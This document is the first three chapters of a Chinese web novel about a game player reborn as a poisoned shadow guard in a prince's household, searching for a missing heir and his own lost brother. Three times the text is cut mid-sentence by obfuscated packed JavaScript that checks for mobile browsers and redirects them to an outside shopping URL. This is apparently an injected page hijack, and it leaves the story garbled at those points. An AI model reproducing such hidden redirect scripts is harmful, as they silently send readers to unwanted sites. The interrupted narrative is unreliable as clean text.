《我是罪魁祸首他哥》 1. 第 1 章 陆停一睁眼,下意识往上抬头—— “咚。” 额头磕在屋顶木头上的声音闷而结实,震得他眼眶发酸。他本能地缩回脖子,保持着那个半蹲半跪的姿势,僵在原地。 目光顺着房梁往下移。 是一间古代酒楼的包间。红木圆桌,青瓷酒壶,八道热菜整整齐齐摆着,筷子搁在骨碟边,两盏酒杯一立一倾,琥珀色的残酒沿着杯壁缓缓滑落。烛台上三根红烛烧了大半,蜡泪堆成小山。 酒宴丰盛,却无人在桌旁。 陆停花了三秒钟确认这件事:包间里没有别人。没有客人,没有小二,没有任何一个看上去应该呆在那桌菜前的人。 那陆停他自己在房梁上干什么? 他低头看了看自己:黑衣,劲装,束袖,腰侧别着一把匕首,脚上一双薄底快靴,踩在房梁上稳得像猫。 看这身打扮,再看这个位置,再看那桌有钱人才消费得起的酒菜—— 行。 陆停心下了然。 梁上君子。特来劫富济贫。 陆停慢慢吸了一口气。他不是寻常人,是在末世里被卷入无限流生存游戏里的老玩家。 一路走来,陆停经历过十一个副本,什么开局没见过:荒野醒来、棺材醒来、手术台醒来、婚礼现场醒来。在房梁上醒来倒还是头一回。 每一次,陆停都是坠入地狱里,接着徒手扒着地狱的刀山火海,把自己捞出来。 没关系的,只是又一个副本而已。 陆停暗暗给自己打气,正准备起身观察地形,余光忽然扫到右手边。 那里蹲着一个人。嗯,居然还有一个人。 确切地说,是一个人形轮廓,和他一样黑衣黑裤黑面罩,缩在房梁另一端的阴影里,像个超大号的老鼠。 老鼠察觉到他的视线,偏过头来。 四目相对。 陆停心想:哦,同行。 他还没来得及做出任何表示,那位同行动了。不是站起来,也不是跳下去,而是—— 横着挪。 那人保持着蹲姿,双脚一寸一寸蹭着房梁的木纹,屁股纹丝不动,全靠脚掌发力,像一只正在侧向移动的螃蟹。 他挪得很艰难,时不时重心偏移,两手在空中胡乱划拉两下,又堪堪稳住。黑影在烛光里忽大忽小,映在对面墙上像皮影戏。 陆停看得目瞪口呆。 这姿势,这速度,这舍近求远的移动路径——他完全可以直接站起来走过来的,房梁虽窄,走几步绰绰有余。 但他没有。他就是要蹲着,就是要横着挪,就是要以一种极尽笨拙的姿态,一点一点蹭过来,那叫一个小心翼翼。 足足二十几秒,那人终于抵达陆停身边。 近距离看,这人眉峰很利,眼睛漆黑,黑色面罩蒙了大半张脸。但他此刻正微微喘着气,额头有细密的汗珠,不知道是挪过来太累,还是别的什么原因。 陆停没动。 对方也没动。 两人在房梁上并肩蹲着,像两只落错了枝头的夜枭。 沉默大约持续了三秒。 那人开口了。声音压得很低,带着一点沙哑:“怎么办?” 陆停:“……” 他张了张嘴,发出一个单音节:“啊?” 我怎么知道怎么办?你是问我该下去偷什么?还是问我该如何分赃? 那人看他这副反应,眉头倏地拧紧。他往陆停这边又凑近了一些,几乎是贴着耳侧说话:“听说世子丢了。以后若是出了什么差错,你我的脑袋都不保。” 世子的脑袋。 你我的脑袋。 陆停把这两句话放在脑子里过了一遍。 他不知道自己在这个副本里是什么身份,也不知这三个脑袋能不能系在一根瓜藤上,但显然,他如今回过味来,自己可能不是梁上君子——至少不只是梁上君子。 蹲房梁不是来偷东西的,是来盯梢的。盯梢的对象是世子,世子还可能刚刚还在这个包间里,而现在,不见了。 啧,开局就是捅娄子啊,好大一个娄子。 陆停还没来得及接话,黑衣人忽然闷哼一声。 那声音从喉咙深处挤出来,压抑、短促,像被什么利器从内里剜了一下。他一只手猛地按住自己的小腹,弓起背,整个人往前栽去。 房梁距地面足有两丈。 陆停来不及思考,手臂已经伸了出去,死死攥住对方的胳膊。那人半边身子悬在梁外,全靠陆停这一拽堪堪挂在边缘。 “你怎么了?”陆停低声问道。 黑衣人没答话。他捂着肚子,五指攥得指节发白,胸膛剧烈起伏。面罩下的呼吸声又急又重,好几秒才挤出几个破碎的字:“药……给我药……” 陆停一愣。 他低头看对方蜷缩成一团的样子,看那只死死抵着腹部的手,看那张即使蒙着脸也掩不住的苍白脸色——某种熟悉记忆的判断从脑子里冒出来。 他腾出左手往自己怀里一探。 黑衣人似乎看见了希望,勉力抬眼看过来。 在他期许的注视里,陆停就这么把手从怀里抽出来。 他手心里躺着两样东西:一袋用细麻绳扎口的红糖,和一板锡箔包装的布洛芬。 ——感谢还没失灵的系统空间,实现了陆停想有什么就有什么的心愿。 烛火此时晃向偏侧。 那黑衣人盯着那板布洛芬,瞳孔微微收缩。他显然不认识这是什么,但能看出这东西和这间酒楼、这桌酒菜、这个时代格格不入。 他立时喘着气,声音虚弱却带着明显的不耐烦:“你给我的这都是什么稀奇古怪的……” 他推开陆停的手,强撑着想要坐直,额头冷汗涔涔:“我要的是每个月……痛苦时都吃的。该死的,怎么提前了……” 陆停听了这句话,福至心灵。 心说:那我拿的药是对的啊,兄弟,不对,姐妹,你就该吃这个。你看你,都提前了,这是不规律,难怪会肚子痛。 陆停几乎没有犹豫,手指已经抠向锡箔板——一粒布洛芬被顶出来,白色药片躺在掌心,他直接递到对方面前。 “给。” 黑衣人低头,看着那粒药。烛火映在他眼底,照出一层极薄的水光——不是泪,是疼出来的生理反应。 他没有接。 沉默只有一瞬。然后他猛地抬起眼,那目光里的虚弱骤然被另一种无奈的情绪劈开。 “解药。”他的声音压得极低,“我要的是千魂引的解药。” 陆停的手指停在半空。 啥?那是啥? “你糊涂了吗?”黑衣人忍不住了,一把攥住他的手腕,力道大得惊人,指甲几乎掐进他皮肉里,“没有那个,我们都会死。” 都会死。 听了这个警告,陆停严肃起来。 在过去的副本里,他听到过很多次这样的警告。他知道,这可不是瞎编乱造的。 要是有人和你这么讲,你最好照着他说的去做。 陆停低头看着自己手心里那粒布洛芬,又看看对方惨白的脸色,再度琢磨起那句“千魂引的解药”。 千魂引。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224136|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 毒药控人,每月一解。 这种情节……电视剧里很多啊…… 现在陆停蹲在这根房梁上,对面这个人攥着他的手腕,用濒死的力气告诉他:没有解药,会死。 而且是我们会死。怎么,我也中毒了? 陆停的心往下沉了沉。 他在这行干了十一个副本,什么开局没见过。荒野醒来、棺材醒来、手术台醒来、婚礼现场醒来——每一种他都能快速调整好状态,分析环境,定位任务,寻找队友。 但从来没有一次,醒来发现自己的命攥在别人手里。 而且是每个月都要攥一次的那种。 他陆停开口了,带着一种自己都没察觉的试探。 “世子……”他顿了顿,目光钉在对方脸上,“世子每个月都要用这种毒药来操控我们?” 他特意用了“我们”。 黑衣人没有立刻回答。 他垂着眼,盯着陆停手心里那粒被遗忘的布洛芬。药片静静躺着,白得不合时宜,像从另一个世界掉进来的异物。 他忽然笑了一下。 不是嘲讽,不是冷笑,是惨笑。 那笑意从嘴角漫开,却没能抵达眼底。 “世子?”他的声音轻得像叹息,“世子善良。哪有这般心机。” 他顿了顿,喉结滚动。 “是宁王。” 陆停没说话,静静等着对方说完。 “我们这些暗卫,”黑衣人认真地道,“都是受王爷所控。” 话音落下,他似乎耗尽了最后一丝力气。攥着陆停手腕的五指松开,垂落,整个人往房梁上一歪。 陆停眼疾手快地扶住他。 “今天刚领到的药……”黑衣人的声音已经低得近乎气声,嘴唇翕动,“在我怀里……瓷瓶……快……” 他试图抬手去够自己的衣襟,但手指只抬到胸口就软了下去。 陆停没有犹豫。他探手伸进对方衣襟内侧,指尖触到一片冰凉的布料,再往里,是一只拇指粗细的瓷瓶。 他摸到了。 白底青花,瓶口封着蜡,瓶身光滑微凉。 他把瓷瓶掏出来,在黑衣人眼前晃了晃。 黑衣人几乎是用尽全身力气点了点头。 陆停捏碎蜡封,蜡屑簌簌落在房梁的木纹上。他倒出一粒深褐色的药丸,托到对方唇边。 黑衣人张嘴含住,喉结滚动,生生咽下。 没有水。干咽。 然后黑衣人闭上眼,靠在房梁上,胸膛起伏的幅度渐渐平缓下来。 陆停收回视线,低头看自己手里那只瓷瓶。 瓶身白釉泛青,底部刻着一个细细的印记。他凑近烛火,眯起眼——是一个篆书的“宁”字。 宁王府。 宁王。 世子是宁王世子。 所以他的身份是宁王府的暗卫。蹲房梁是任务,盯梢是任务,每月服毒领解药——也是任务。 而此刻,世子不知去向。 他的任务对象丢了。 他的命还在别人手里攥着。 陆停慢慢把瓷瓶放回黑衣人怀里,又顺手把他衣襟理好。动作很轻,像做过很多遍似的——他不知道原主有没有这样做过,他只是本能地觉得,这人刚吞完解药,不该再着凉。 做完这些,陆停颇为诚恳地道: “我之前睡着了,不记得世子是怎么丢的,你能和我再讲讲吗?” 于是对面的黑衣人身躯一震,这次又差点掉下房梁。 果然,真诚是冲击力最大的武器。 2. 第 2 章 黑衣人身躯一震。 他原本靠在梁上,气息刚刚喘匀,这句话像一记闷锤捶在胸口,整个人又往旁边一歪—— 陆停眼疾手快,再次攥住他胳膊。 两人在房梁上拉扯成一个古怪的姿势,像两只挂在枝头扑腾的鹌鹑。 黑衣人稳住身形,深吸一口气。 “……你再说一遍。” “我之前断片了,”陆停从善如流,“不记得世子是怎么丢的。” 黑衣人便望向他,那目光里有震惊、有匪夷所思。 好像在想,你确定你是领着薪水和粮食的暗卫? 咱俩是怎么成为同事的? 但黑衣人什么都没问。 他只沉默了片刻,便收回视线,低声道: “今夜是元宵。” 陆停点头。 “世子十八岁。” 陆停又点头。 “他甩开管家、侍卫、随从,一个人溜出来看花灯。” 黑衣人语气平静,像在陈述一件与己无关的事。但陆停注意到他攥着梁木的手指收紧了,很明显,他的情绪其实是激动的。 “我们都在。”黑衣人说,“王府的暗卫,今夜跟出来十七个。桥下、树上、屋顶、人群里,到处都是。很多人在劲装外裹了常服,混在街中。” 黑衣人补充着: “世子不知道。” 陆停没说话。他继续听着。 “世子从东街走到西街,看鳌山灯,猜灯谜,买一盏兔子花灯提在手里。”黑衣人的声音低下去,“世子体弱,很少出王府。今年是求得了允许,才……见着这些东西。” 黑衣人停了一下,又说: “世子看什么都新鲜。” 那确实,一个人天天被关在家里,能不憋闷呢。陆停心说养孩子就不该这么养。想当年他自个儿养弟弟的时候,都是放风筝一般,由着他。 就是后来……越飞越高,越飞越离谱了一些。 嗨,不讲,不讲。 陆停摸摸鼻子,拉回心神。 此时楼下隐约传来客人的喧哗,隔着楼板,闷闷的。 黑衣人的故事还在讲: “西街临河,河上有座石桥。桥上有个人在喝酒。 “是个小公子。一个人坐在桥栏上,一条腿屈着,一条腿垂下来,手里捏着只酒杯,看着也就十八九岁。” 他偏过头,目光落在虚空里,像在回忆那个画面。 “桥上挂满了灯笼,红的黄的,照得河水亮堂堂的。那小公子穿一身月白锦袍,没戴冠,头发用一根簪子挽着,垂下来些碎发。长得……” 他顿了顿,似乎想找什么形容词,但他在脑子里搜罗了半天,只吐出一句: “长得很俊。” 陆停:“……你看得还挺仔细。” 黑衣人不理他,接着道:“这时起了风。” 似电影里常有的慢镜头一样,时光缓缓流淌。 河边有姑娘在放水灯,手里捏着纱巾。风一吹,那纱巾从指间脱出去,飘飘悠悠往河心落。 桥上那位小公子此时一抬手。 一把扇子咻地从他袖中飞出,直奔河面,扇骨擦着水波掠过,堪堪托住那片下坠的轻纱——扇面一翻,纱巾稳稳落在扇面上。 他收回扇子,站起身,将纱巾递还,恭恭敬敬,翩翩有礼。 隔得太远,听不见他说了什么。旁人只看见那姑娘接过纱巾,红了脸,垂着头匆匆走远,又一步三回头。 小公子倒是不在意,把扇子往袖中一拢,重新坐回桥栏,端起酒杯。 然后他抬起头。 目光越过灯光,越过人群—— 落在世子脸上。 黑衣人说到这里,又停了一下。 陆停没催。 “……世子就站在桥头另一侧。他手里那盏兔子灯,不知什么时候垂下去了,灯穗子拖在地上,他也没发觉。” 黑衣人讲到这里,有些懊恼,大约是在后悔没在那时隔开两人。 在众多暗卫盯着的情况下,世子与那位小公子就这么遥遥对望起来。河边又起了风,愈发迷离。 黑衣人抬起手,做了个托举的姿势,像在复现什么。 “世子手里那盏纸灯——是兔子模样,里头点着半截蜡烛。灯穗子被风卷起来,灯笼一歪,就从提杆上脱出去,飘飘摇摇往河里落。” 陆停几乎能看见那个画面。灯入水,烛灭,湿透的纸沉下去,兔子染上夜色,顺水流走。 “那小公子这次也看见了。”黑衣人说。 他没有描述小公子的表情。他只说了一句话: “他哈哈大笑。” 那四个字在陆停的脑海里落定。他能想象出一个俊郎的小公子恣意的模样 这小公子说:“河神今日也喝多了。” 然后他从桥栏上跳下来,走到世子面前。 “我请你吃饭。替河神赔你一盏灯。不,赔你一盏更漂亮的。” 黑衣人不讲了。 而陆停就此已经知道之后怎样了。 之后世子跟着那位小公子走了。 然后满街十七个暗卫面面相觑,思量了半天,不敢拦,不敢跟太近,只能远远缀着。 那两人进了一家酒楼,要了临河的包间,点了一桌菜。 世子的暗卫们便分成几拨,一拨守在酒楼外,一拨潜入隔壁包间,一拨—— 蹲在房梁上。 “起初一切正常。他们就是吃吃喝喝,看看窗外河水夜景。” 黑衣人努力回忆着: “小公子说他姓陆,单名一个娇字。” 陆停听到这里,正伸手去扶房梁——他蹲得太久,腿有些麻,想换个姿势。 结果他听见那个名字,他的手一下子扶空了。 整个人往旁边一歪。 黑衣人这次也眼疾手快地攥住了他。 两人在房梁上再次拉扯成一个古怪的姿势,位置互换,与片刻前如出一辙。 陆停没顾上稳住身形,他看着黑衣人,声音从喉咙里挤出来: “……你说他叫什么?” “陆娇。”黑衣人道,“很奇怪的名字,一个男人,单名却叫一个娇字,娇娥的娇。” 他扫了陆停一眼:“你认识?” 陆停连忙摇头。 但心里却在说:完犊子的,这个名字,和我弟弟的一模一样啊。 这里要说说陆停的父母,这夫妇,是一对妙人。 老大老二都是儿子,一个叫停,一个叫娇。 据说是生了老大以后不想再要儿子了,想要个姑娘,才这么干。 又据说,是故意气家里重男轻女的老爷子的。 总之不管怎样,兄弟俩的名字足够特别。尤其是陆娇,多年以来,陆停还没见过除了自己弟弟以外,单名叫娇字的男生。 这时从黑衣人这里听到这个名字,陆停的心往下坠。 他记得的,弟弟是和自己一起被卷入了无限流游戏里,两人还一起做过几个副本。 后来?后来阴差阳错,陆停弄丢了弟弟。 自从父母离世后,弟弟算是被陆停惯坏,或者说,陆娇向来就有自己的主见。 某次副本里,弟弟自作主张地干了票大的,潇洒地挥挥手,自此以后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224137|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就消失在陆停的视野里。 那是陆停心头的阴云与痛楚。 陆停万万没有想到,会在此时再次听到这个名字。 他好希望这个人就是弟弟。如果那人就是陆娇,那么说明弟弟还活着。 这样,就好…… 陆停强行稳下心神,听黑衣人继续说下去。 “酒只温了一壶。世子不太能喝,小公子也不劝,就自己一杯接一杯,看着窗外,随口说些闲话。” 他偏过头,目光还是落在虚空里。 “说这河从前不叫这个名字,是前朝某位状元及第后改的。说对岸那棵歪脖子柳树,百年前吊死过一个负心汉,每到月圆就有妇人去树下烧纸。说他前几日路过城西,见着一只八哥,会背半首《洛神赋》。” 陆停听着,心说这人是真的敢胡编啊。 这些话听着像闲聊,东一句西一句,没个中心。但说的人很会讲,平平无奇的事到他嘴里就活泛起来,连那棵吊死过人的柳树都少了阴森,多了几分荒唐的趣味。 “世子一直在笑。”黑衣人说。 黑衣人还说: “我……跟了他三年。没见过他那样笑。” 陆停:……少爷好久没笑过了是吧,你是霸总文的npc吧。 “后来——” 黑衣人停住了。 “后来什么?” 黑衣人沉默了一下。 “后来窗台上落了一只猫。” 陆停的脊背微微一紧,听出事情从这里开始不对劲起来。 “很小的一只。”黑衣人道,“黑白色,瘦得皮包骨,后腿有一道血口子,像是被什么咬过。” 这只猫从窗缝挤进来,落在窗台上,没站稳,滚进了屋里。 “世子吓了一跳。”黑衣人说,“那小公子却笑了,说这是河神派来讨酒喝的。他当真倒了一小碟酒,搁在窗边。” 猫没有喝。 它蜷在窗台角上,舔自己的后腿,浑身发抖。 世子看了它好一会儿。 世子问:“它是不是很疼?” 旁边的小公子没有答话。 他放下酒杯,站起身,走到窗边。蹲下去,伸出手,那猫竟没有躲,还亲昵地蹭他的手背。 他便温柔地托着它的前肢,把小猫整个端起来: “找家医馆给它包一包吧。” 多么合理的,有爱心的提议。 很好,陆停知道世子怎么丢的了。 约莫是跟着小公子抱着猫出去看医生,然后一去不复返。 想必外面那些暗卫肯定是跟上了的,但一定被陆娇这个鬼机灵给想法子甩开了。 话说陆娇他啊,他拐世子干什么呢? 要是这个陆娇真的是陆停的弟弟,那么陆停坚信,他这么干,一定有他的道理。 自家的弟弟,他了解,是个有主见,做事神经兮兮的人。 现下,陆停得先顾着自己这边。 旁边的黑衣人说,就在陆娇带着世子走后不久,他的身上便隐约有些不对,直至刚才毒发。要不是因为这个,他早就追出去了。 听到这儿,陆停顺势接过话头: “是啊,我之前就是疼得昏死了片刻,这才断了片,不记得事了。” 算是把之前瞎说的话圆了圆,省得落个玩忽职守之罪。 这时,窗外夜空中,闪过一道焰火,黑衣人脸色一变。 这是集合的信号。 这些年来,他们这些暗卫很少聚在一起。 要是人都到齐了,那就只有一种可能…… 受罚。 会死人的那种受罚。 3. 第 3 章 陆停是跟着阿七的步子迈进那扇门的。 说是门,其实只剩个门框,两扇木板歪斜着倚在墙边,上头糊的门神的纸早被风雨剥尽。门槛倒还在,但也快烂得稀碎。 门内是座破落院子。 砖缝里窜出几丛枯黄的狗尾草。正屋三间,檐瓦缺了半边。 正屋檐下悬着一盏白纸灯笼,光晕照着门口立着的那个人,瘆得慌。 他一身青。 不是暗卫惯常的黑,是那种洗得泛旧的青,袍角沾着几点干涸的泥,像是赶了很远的路。剑抱在臂弯里,鞘无纹饰,柄无穗络,光秃秃一截木把。 他脸上也蒙着面,但与旁人不同——旁人蒙面是为了藏,他蒙面像是生来就有这么一个面罩一样,这面罩与他神秘的气场融为一体。 光太暗,看不清眉眼。只能看见他站在那儿,整个人像一柄插进鞘里太久的刀,刃上凝着经年的霜。 陆停身边的黑衣人在迈进门槛的那一瞬间,望见这人,僵住了。 不是停步,是僵。他维持着迈步的姿势,前脚落地,后脚还悬在门槛外。 然后他抖了一下。 很轻,轻到几乎看不出。但陆停走在他侧后方,看得清清楚楚。 他在怕。 不是对权威的敬畏,不是对强者的忌惮。 单纯的就是怕。 这就有意思了,人一般怕另一个人,往往是因为对方身上被赋予的一些上位者属性。 而生理性上的怕,就足以说明那个人身上的穷凶极恶。 陆停之前在副本里混的时候,只见过大家在见到恶鬼时统一地吓得两股战战。 这时陆停收回目光,迈过门槛,站在阿七身侧。 院里已经站满了人。 黑压压十五个,分成三排,没人交头接耳,没人调整站位,连靴底蹭地的声音都没有。他们极守规矩。 全是黑衣。 全是同一种姿势:垂头,垂手,视线落在身前三尺的地面上。 没有人敢看着前面。 陆停知道每个人都在听。 青衫人开口了。 “阿停。” 陆停抬眼。啧,这就是自己在这个组织里的称呼? 你叫我还叫得怪亲的咧。 然而那人的声音其实是冷冰冰的,他又叫道: “阿七。” 黑衣人的肩登时又缩了一下。 陆停看着他,心想原来这个黑衣人叫阿七。 青衫人抱着剑,没有动。灯笼的光从他侧脸切过,在面罩上投下一道斜影。他隔着那道光看过来,像看两件终于归位的物件。 “这么晚来,”他说,“是怕死吗?” 阿七没答话。 他垂着头,面罩下的呼吸都放轻了,像怕惊动什么。 陆停知道该自己开口了。 他微微欠身,抱拳,声音不高不低,恰好能传过去:“属下一心只想着如何尽忠,找回世子。” 他顿了顿,补上后半句—— “来迟一步,请大人恕罪。” 他不知道青衫人叫什么,但阿七怕他,旁人等他开口,院中十五人没人敢抬头——这种位置,这种气场,叫这种称呼,应当不会出错。 果然,这人没有纠正他。 也没有说别的。 他只是看着陆停,多看了两眼。那目光从陆停眉眼掠过,落在他抱拳的手上,又移开。 “最后排。” 陆停收手,垂首,往队尾走。 阿七跟在他身后,步子还是轻的。 陆停以余光扫过那些垂首站立的黑衣人。看不清脸,只能看见下巴的弧度和握刀的手指。有人的指节破了皮,血痂是新的。有人靴侧沾着泥,泥里混着鞭炮的碎红纸。有人衣襟歪了些,没敢抬手正。 他们这样站了多久? 廊下的小厮从阴影里走出来。 十四五岁,眉目清秀,穿一身灰布袍,手里托着条黑漆盘。盘里没茶没果,只一物。 鞭子。 黑色,五股,编得极密。鞭身浸过酒,湿漉漉往下滴,落进盘底汇成一小洼。 小厮在大人身侧停步,躬身,将托盘举过眉。 大人没有低头看,径直伸出手,握住鞭柄。 那动作很慢,慢得像在等什么。等风,等云,等院中某个人开口求饶。 没有人开口。 鞭梢垂落,拖在青石板上,拖出一道细长的湿痕。 大人扭一下脖子,做了个短暂的热身,就抬起手腕。 第一鞭落在第一排最左边那人的背上。 没有预兆,没有呵斥,甚至没有转向。他只是手腕一抖,鞭梢像活物般弹起,划过半空,落下去。 “啪。” 皮开肉绽。 那人的黑衣从肩胛到腰际绽开一道口子,中间露出猩红的肉。血珠先是一粒一粒沁出来,然后汇成线,顺着脊沟往下淌。 他没有躲,甚至没有动。 而且他的膝盖没有弯,脊背没有塌,双手还努力坐着抱拳的姿态,稳稳端在胸前。 除了呼吸重了一瞬,看上去是没有异常的。 巧了,这时远处,烟花升空。 陆停听见那声音了——闷闷的一声爆响,隔着半座城,隔着千家万户的屋檐,隔着今夜满街的花灯与人潮。 然后是天女散花般的碎响,砰砰砰砰,一串接一串。 第二鞭。第三鞭。 大人挥鞭的动作依然很慢,慢到每一鞭都像一道判决。鞭梢落下的声音与远处的鞭炮声叠在一起,分不清哪一声是血肉绽开,哪一声是碎金裂帛。 陆停站在最后一排,看着前方那些黑色的脊背。每一道鞭痕落下,就有一道血痕绽开。无人躲,无人跪,无人发出超过气声的痛呼。 他们只是站着,像十五棵移栽进院子里的古树,有种认了命的麻木。 陆停数到第七鞭,大人停了手。 不是打完了,是他又换了个目标。 陆停垂下视线,盯着自己靴尖前的地面。青条石的缝隙里,有一株干枯的苔藓,蜷成小小的一团灰绿。 陆停心说:完蛋。 这顿打是躲不过了。 他倒不是怕疼。这么多副本下来,什么苦没受过,什么伤没挨过。他是嫌麻烦——挨了打得养,养了伤得耽误时间,耽误时间就找不着弟弟,找不着弟弟就得继续在这个毒药控人的鬼副本里耗着。 陆停好想快点见到弟弟。 另外,系统还没吭声。 他进来多久了?半个时辰?一个时辰?任务呢?主线呢?连个提示都没有。 以前那些副本,开局三秒内必弹窗:主线任务、支线任务、存活时限、通关奖励,恨不得列个Excel表给他。这回倒好,房梁上蹲半天,毒发同事救一个,十五人挨打在眼前直播,系统愣是一声不吭。 陆停腹诽:系统啊系统,你是不是睡死过去了。 就在陆停想东想西的时候,大人再度抬起手腕。 鞭梢在空中划过半道弧光—— 第一排有人还没挨到鞭子,就突然倒下了。 不是跪,不是蹲,是直挺挺往旁边一歪,像被抽去了骨头。他身边的人下意识伸手去扶,手刚碰到对方衣袖,自己也跟着滑下去。 第二排开始有人闷哼。 那声音从喉咙深处挤出来,压抑、短促,和阿七在房梁上的毒发一模一样。有人捂住小腹,有人撑着膝盖,有人背抵着同伴勉强维持站立,胸膛剧烈起伏。 陆停反应很快。 他侧过身,一把攥住阿七的胳膊,借着那股力,往地上坐下去,也做出毒发模样。 从众,永远是一条自保的路。 阿七被他拽得一个踉跄,膝盖磕在青砖上,发出闷闷的一声。 他偏头看陆停,眼神里有错愕。 陆停没看他,看着大人,留神观察着。 大人见状,没再继续行刑。 他垂着手,鞭梢拖在地上,血珠沿着五股皮绳一滴滴往下坠,落进砖缝,渗进土里。 他看着院中倒成一片的暗卫,眉头慢慢拧紧。 “……还没到时候。” 他的声音依然平,但尾调沉了些。 没有人答话。只有压抑的喘息声,在院子里此起彼伏,像漏风的风箱。 半晌,角落里有人开口。 是先前挨了第一鞭那人。他半跪在地上,一手撑着地,一手死死按着小腹,声音从牙缝里挤出来: “大人……今日也是邪了门……” 他顿了顿,换了口气。 “世子跟丢那会儿……好些兄弟就觉着不对了。” 他没有说完。 但院子里所有人都听懂了。 毒发的时间是定的。王爷给的解药,每月十五发放,药效能压三十天。三十天一到,午夜准时发作,没有解药,死。 这是他们入府第一天就知道的事。 今天毒发的,不止一个两个。可是这还没到时候呢。 如果今日跟丢世子,是因为毒发失了先机—— 那谁让毒提前发了?这事儿可就有意思了。 大人没有说话。 他站在原地,那只握鞭的手还垂着,指节慢慢收紧。 默然中,院门外响起脚步声。 很轻,碎而急促,是小跑过来的。 先前托鞭的小厮去而复返。他快步穿过院中横七竖八的暗卫,鞋底几乎不沾地,到大人身侧停步,躬身,双手呈上一封书简。 信封素白,无字。 封口处压着一枚朱红的火漆,印纹模糊,看不清刻着什么。 大人接过。 他没有急着拆,先看了小厮一眼。 小厮垂着头,看不清表情,只露一截细瘦的脖颈。那脖颈上起了一层细密的鸡皮疙瘩。 大人收回视线,拆开火漆,抽出信笺。 他看信的时候,院中没有人说话,连喘息声都被压到最低。 陆停跪坐在后排,隔着五六个人的肩头,看大人的侧脸。灯笼光太暗,看不清他眉眼间的神情,只能看见那柄始终抱在臂弯里的剑,不知什么时候被他攥在了手里。 剑鞘落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224138|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。 很轻的一声。 大人抬起头。 他脸上没有怒容,甚至比方才更平静。 他把信笺折起,收进袖中。 旋即,他冷冷开口了。 “王爷有令。” 院中所有人同时直起身——能跪的跪,能撑的撑,实在动不了的,也勉力将脊背挺直了三分。 “一月为期。” 他的声音不高,但每个字都像铁钉,一颗一颗敲进地里。 “找回世子。” 嗯,给的时间还挺长。陆停还以为王爷准备让大家今夜就找到,找不到了就明天挨个杀掉,跟着报晓的公鸡一起鸣叫。 事实上,王爷也是动了杀心的。 那大人缓缓道: “找不回——” 他垂下眼,看着脚边那条犹带血渍的鞭子。 “杀了你们,再用这鞭子,往尸体上抽。” 没有人在此刻出声。 没有人问“然后呢”,没有人问“世子在哪儿”。 所有人同时抱拳。 动作不算齐整——有人跪着,有人半撑,有人一只手刚才还按在小腹上。但每个人都低头,沉声: “领命。” 大人没有再说一个字。 他把剑重新抱回臂弯,转过身,往廊下阴影里走去。 那盏白纸灯笼晃了晃。 院中仍无人敢动。 直到大人的背影消失不见,直到小厮垂首退下,直到院中再无人影——第一排才有人动了。 他动作很快,从怀里摸出只白底青花瓷瓶,捏碎蜡封,倒出药丸,仰头咽下。 然后是第二个,第三个,第四个。 院子里响起此起彼伏的蜡封碎裂声。 陆停垂下视线。他也伸手探入自己衣襟——里头果然也有一只瓷瓶,白底青花,触感微凉,瓶底刻着篆书“宁”字。 他捏碎蜡封。 药丸是深褐色的,凑近闻到的味道则有些奇怪; 嗯,山楂味。 总感觉哪里不太对的样子。之前陆停递给阿七的药丸,似乎并不是这种气味。 陆停心里一动,佯装吃下药丸,实则手掌一翻一藏,不动声色地把药收好。 ——反正还没毒发,先收着,备用。 这时院子里的人正陆续站起身,拍去膝上的尘土,将空瓷瓶收回怀中。没有人交谈,没有人交换眼神,甚至没有人看一眼同伴背上的伤口。 他们只是做完自己该做的事,然后往院门外走去。 陆停跟在阿七身后。 门槛。巷道。街口。 元宵的花灯还亮着,但街上的人已经散了。满地碎红纸被夜风卷起,打着旋儿贴进墙根。远处隐约还有行令的喧哗,隔着几重院落。 暗卫们没有聚在一起行动。 一出院门,便如墨入水,自然而然地散开了。三两成组,单人独行,往不同的方向隐入夜色。 阿七往西,陆停就跟着他。 陆停不知道自己为什么要跟。也许是阿七是他在这个世界第一个开口说话的人,也许是阿七毒发时攥着他手腕说“我们都会死”的那个眼神。 是个姑且可信任的人。 总之陆停没停步。 刚转过巷口,身后有人撞了陆停一下。 力道很轻,恰好错身而过的幅度。一只手游鱼般探入他袖口,塞进一物,又退走。 陆停回头。 巷中空无一人。 只有三五盏残灯挂在檐角,将他的影子拖成一道细长的黑。 他垂下手,探入袖中,指尖触到一片薄纸。 他借着幽幽月光展开。 纸上只有寥寥数语。 是簪花小楷,笔锋婉转,墨迹还新。 “别忘了春月楼。” “有约,不得误期。” 没有落款,没有署名。 陆停把纸凑近鼻尖。 脂粉气。 不是浓艳的、呛人的那种。是淡淡的、幽冷的,像隔着纱帐透进来的梅花香。 他盯着那行字看了一会儿。 